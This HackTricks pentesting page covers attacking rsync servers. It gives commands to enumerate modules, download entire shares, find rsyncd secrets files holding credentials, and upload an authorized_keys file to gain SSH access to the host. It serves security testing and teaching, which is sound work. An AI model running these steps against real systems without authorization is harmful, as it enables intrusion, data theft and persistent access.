873 - Pentesting Rsync

Support HackTricks and get benefits!
​

A digital transformation tailored to your organization is unique. It also comes with its risks. Defend yourself against hackers. Get protection before it's too late. Talk to the professionals at Securityboat:
Let's connect - Securityboat
Securityboat - Frontline of Your Business
Basic Information
rsync is a utility for efficiently transferring and synchronizing files between a computer and an external hard drive and across networked computers by comparing the modification timesand sizes of files.[3] It is commonly found on Unix-like operating systems. The rsync algorithm is a type of delta encoding, and is used for minimizing network usage. Zlib may be used for additional data compression,[3] and SSH or stunnel can be used for security.
From wikipedia.
Default port: 873
1
PORT    STATE SERVICE REASON
2
873/tcp open  rsync   syn-ack
Copied!
Enumeration
Banner & Manual communication
1
nc -vn 127.0.0.1 873
2
(UNKNOWN) [127.0.0.1] 873 (rsync) open
3
@RSYNCD: 31.0        <--- You receive this banner with the version from the server
4
@RSYNCD: 31.0        <--- Then you send the same info
5
#list                <--- Then you ask the sever to list
6
raidroot             <--- The server starts enumerating
7
USBCopy        	
8
NAS_Public     	
9
_NAS_Recycle_TOSRAID	<--- Enumeration finished
10
@RSYNCD: EXIT         <--- Sever closes the connection
11
​
12
​
13
#Now lets try to enumerate "raidroot"
14
nc -vn 127.0.0.1 873
15
(UNKNOWN) [127.0.0.1] 873 (rsync) open
16
@RSYNCD: 31.0
17
@RSYNCD: 31.0
18
raidroot
19
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g    <--- This means you need the password
Copied!
Enumerate shared folders
An rsync module is essentially a directory share. These modules can optionally be protected by a password. This options lists the available modules and, optionally, determines if the module requires a password to access**:**
1
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
2
msf> use auxiliary/scanner/rsync/modules_list
3
​
4
#Example using IPv6 and a different port
5
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
Copied!
Notice that it could be configured a shared name to not be listed. So there could be something hidden.
Notice that it may be some shared names being listed where you need some (different) credentials to access. So, not always all the listed names are going to be accessible and you will notice it if you receive an "Access Denied" message when trying to access some of those.
​Brute force​
Manual Rsync
Once you have the list of modules you have a few different options depending on the actions you want to take and whether or not authentication is required. If authentication is not required you can list a shared folder:
1
rsync -av --list-only rsync://192.168.0.123/shared_name
Copied!
And copy all files to your local machine via the following command:
1
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
Copied!
This recursively transfers all files from the directory <shared_name> on the machine <IP>into the ./rsync_shared directory on the local machine. The files are transferred in "archive" mode, which ensures that symbolic links, devices, attributes, permissions, ownerships, etc. are preserved in the transfer.
If you have credentials you can list/download a shared name using (the password will be prompted):
1
rsync -av --list-only rsync://[email protected]/shared_name
2
rsync -av rsync://[email protected]:8730/shared_name ./rsyn_shared
Copied!
You could also upload some content using rsync (for example, in this case we can upload an authorized_keys file to obtain access to the box):
1
rsync -av home_user/.ssh/ rsync://[email protected]/home_user/.ssh
Copied!
POST
Find the rsyncd configuration file:
1
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
Copied!
Inside the config file sometimes you could find the parameter secrets file = /path/to/file and this file could contains usernames and passwords allowed to authenticate to rsyncd.
​

A digital transformation tailored to your organization is unique. It also comes with its risks. Defend yourself against hackers. Get protection before it's too late. Talk to the professionals at Securityboat:
Let's connect - Securityboat
Securityboat - Frontline of Your Business
Support HackTricks and get benefits!